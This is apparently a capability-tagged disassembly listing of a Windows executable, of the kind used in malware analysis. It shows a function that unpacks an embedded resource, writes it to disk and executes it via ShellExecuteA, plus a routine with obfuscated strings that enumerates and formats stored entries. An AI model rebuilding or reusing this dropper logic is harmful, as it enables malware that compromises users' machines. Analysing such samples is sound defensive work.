Function at 0x4017ac
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e0
push ebx
push esi
push edi
push 0xa
pop ecx
mov esi, 0x4060b4
lea edi, [ebp - 0xd0]
push 0x10
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x4060e0
lea edi, [ebp - 0x60]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop ecx
mov esi, 0x4060f4
lea edi, [ebp - 0xa4]
mov eax, dword [0x406174]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x406138
lea edi, [ebp - 0x4c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x406148
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x406154
lea edi, [ebp - 0x3c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x406164
lea edi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], eax
mov eax, dword [0x406178]
movsw word es:[edi], word [esi]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xd0]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00401675
lea eax, [ebp - 0x60]
push eax
call fcn.00401675
lea eax, [ebp - 0xa4]
push eax
call fcn.00401675
lea eax, [ebp - 0x4c]
push eax
call fcn.00401675
lea eax, [ebp - 0x1c]
push eax
call fcn.00401675
lea eax, [ebp - 0x3c]
push eax
call fcn.00401675
lea eax, [ebp - 0x2c]
push eax
call fcn.00401675
lea eax, [ebp - 0xc]
push eax
call fcn.00401675
add esp, 0x20
xor ebx, ebx
push 0xa
push 0x40617c
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x401a72
mov edi, dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x401a72
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp eax, 0xa7
jne 0x401a72
push 0xa6
push dword [ebp - 4]
push 0x406be0
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp byte [0x406be0], bl
je 0x4018f6
call section..text
test eax, eax
jne 0x401a72
cmp byte [0x406be2], bl
je 0x40190b
call fcn.00401037
test eax, eax
jne 0x401a72
cmp byte [0x406be3], bl
je 0x401920
call fcn.004010ce
test eax, eax
jne 0x401a72
cmp byte [0x406be1], bl
je 0x401935
call fcn.00401069
test eax, eax
jne 0x401a72
lea eax, [ebp - 0x4e0]
mov esi, 0x80000002
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0xd0]
push eax
push esi
call fcn.00401485
add esp, 0x10
test eax, eax
je 0x401a72
lea eax, [ebp - 0x3dc]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xa4]
push eax
push esi
call fcn.00401485
add esp, 0x10
test eax, eax
je 0x401a72
lea eax, [ebp - 0x2d8]
dec esi
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xa4]
push eax
push esi
call fcn.00401485
add esp, 0x10
test eax, eax
je 0x401a72
lea eax, [ebp - 0x1d4]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0xa4]
push eax
push esi
call fcn.00401485
add esp, 0x10
test eax, eax
jne 0x4019e6
lea eax, [ebp - 0x1d4]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0xa4]
push eax
push esi
call fcn.00401485
add esp, 0x10
test eax, eax
je 0x401a72
push 0x406bef
call fcn.004016d9
cmp byte [0x406c53], bl
pop ecx
je 0x401ab0
mov esi, 0x406c54
push esi
call fcn.004016d9
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1d4]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1d4]
push esi
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
push 0xa
push 0x406180
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x401a72
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x401a72
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1d4]
push 0x406184
push eax
call sub.MSVCRT.dll_fopen
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jne 0x401a7b
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push edi
push 1
push dword [ebp - 0x10]
push dword [ebp - 4]
call sub.MSVCRT.dll_fwrite
push edi
call sub.MSVCRT.dll_fclose
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
push 1
push ebx
lea eax, [ebp - 0x1d4]
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.00404220
cmp byte [0x406be5], bl
je 0x401ac2
call 0x401b89
cmp byte [0x406be6], bl
je 0x401acf
call fcn.00401dd8
cmp byte [0x406be7], bl
je 0x401ae4
lea eax, [ebp - 0x4e0]
push eax
call fcn.004020b8
pop ecx
cmp byte [0x406be8], bl
je 0x401af9
lea eax, [ebp - 0x2d8]
push eax
call fcn.00402466
pop ecx
cmp byte [0x406be9], bl
je 0x401b06
call fcn.0040260c
cmp byte [0x406bea], bl
je 0x401b13
call fcn.004029a1
cmp byte [0x406beb], bl
je 0x401b2d
call fcn.00402c28
lea eax, [ebp - 0x3dc]
push eax
call fcn.00402d04
pop ecx
cmp byte [0x406bec], bl
je 0x401b42
lea eax, [ebp - 0x2d8]
push eax
call fcn.00402ef1
pop ecx
cmp byte [0x406bed], bl
je 0x401b4f
call fcn.0040383e
cmp byte [0x406bee], bl
je 0x401b71
lea eax, [ebp - 0x2d8]
push eax
call fcn.00403ae3
lea eax, [ebp - 0x3dc]
push eax
call fcn.00403d1a
pop ecx
pop ecx
call fcn.0040440c
cmp byte [0x406be4], bl
je 0x401b83
call fcn.00401112
push ebx
call sub.MSVCRT.dll_exit
push ebp
mov ebp, esp
sub esp, 0xf4
push ebx
push esi
push edi
mov esi, 0x406190
lea edi, [ebp - 0x7c]
push 5
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop ecx
mov esi, 0x4061a0
lea edi, [ebp - 0x90]
lea eax, [ebp - 0x7c]
xor ebx, ebx
push eax
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 0x54], 0xe0
mov word [ebp - 0x52], 0xc8
mov word [ebp - 0x50], 0x108
mov word [ebp - 0x4e], 0x110
mov word [ebp - 0x4c], 0xc0
mov word [ebp - 0x4a], 0x114
mov word [ebp - 0x48], 0xd8
mov word [ebp - 0x46], 0xdc
mov word [ebp - 0x44], 0xb4
mov word [ebp - 0x42], 0xe4
mov word [ebp - 0x40], 0x118
mov word [ebp - 0x3e], 0x114
mov word [ebp - 0x3c], 0x104
mov word [ebp - 0x3a], 0xb4
mov word [ebp - 0x38], 0xd0
mov word [ebp - 0x36], 0xdc
mov word [ebp - 0x34], 0xd0
mov word [ebp - 0x32], 0xe0
mov word [ebp - 0x30], 0xb4
mov word [ebp - 0x2e], 0xe0
mov word [ebp - 0x2c], 0xd8
mov word [ebp - 0x2a], 0xdc
mov word [ebp - 0x28], 0xc8
mov word [ebp - 0x26], 0xb4
mov word [ebp - 0x24], 0x110
mov word [ebp - 0x22], 0xd4
mov word [ebp - 0x20], 0x114
mov word [ebp - 0x1e], 0x118
mov word [ebp - 0x1c], 0x114
mov word [ebp - 0x1a], 0xd4
mov word [ebp - 0x18], 0x108
mov word [ebp - 0x16], 0xdc
mov word [ebp - 0x14], 0xdc
mov word [ebp - 0x12], 0xe4
mov word [ebp - 0x10], 0x108
mov word [ebp - 0xe], 0xc0
mov word [ebp - 0xc], bx
mov dword [ebp - 4], ebx
call fcn.00401675
lea eax, [ebp - 0x90]
push eax
call fcn.00401675
mov eax, dword [0x406b60]
pop ecx
cmp eax, ebx
pop ecx
je 0x401dd1
cmp dword [0x406b64], ebx
je 0x401dd1
cmp dword [0x406b80], ebx
je 0x401dd1
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x7c]
push ebx
push ecx
call eax
lea eax, [ebp - 0x54]
xor esi, esi
cmp dword [ebp - 8], ebx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x5c], 0x4a
jbe 0x401d5b
mov eax, dword [ebp - 4]
mov ecx, dword [eax + esi*4]
lea eax, [eax + esi*4]
mov ecx, dword [ecx + 0x1c]
mov dword [ebp - 0x60], ecx
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x6c]
push eax
push 1
push ebx
lea eax, [ebp - 0x5c]
push ebx
push eax
lea eax, [ebp - 0x64]
push ebx
push eax
call dword [0x406b80]
push dword [ebp - 0x68]
lea eax, [ebp - 0xf4]
push 0x4061b4
push eax
call sub.MSVCRT.dll_sprintf
lea eax, [ebp - 0xf4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + esi*4]
push dword [eax + 0x30]
push 0x406b84
push 0x4061b8
call fcn.00403f7c
add esp, 0x1c
inc esi
cmp esi, dword [ebp - 8]
jb 0x401cf1
push dword [ebp - 4]
call dword [0x406b64]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x90]
push ebx
push eax
call dword [0x406b60]
xor esi, esi
cmp dword [ebp - 8], ebx
jbe 0x401dc3
mov eax, dword [ebp - 4]
mov eax, dword [eax + esi*4]
push dword [eax + 0x1c]
lea eax, [ebp - 0xf4]
push 0x4061bc
push eax
call sub.MSVCRT.dll_sprintf
lea eax, [ebp - 0xf4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + esi*4]
push dword [eax + 0x30]
push 0x406b88
push 0x4061c0
call fcn.00403f7c
add esp, 0x1c
inc esi
cmp esi, dword [ebp - 8]
jb 0x401d81
push dword [ebp - 4]
call dword [0x406b64]
push 1
pop eax
jmp 0x401dd3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret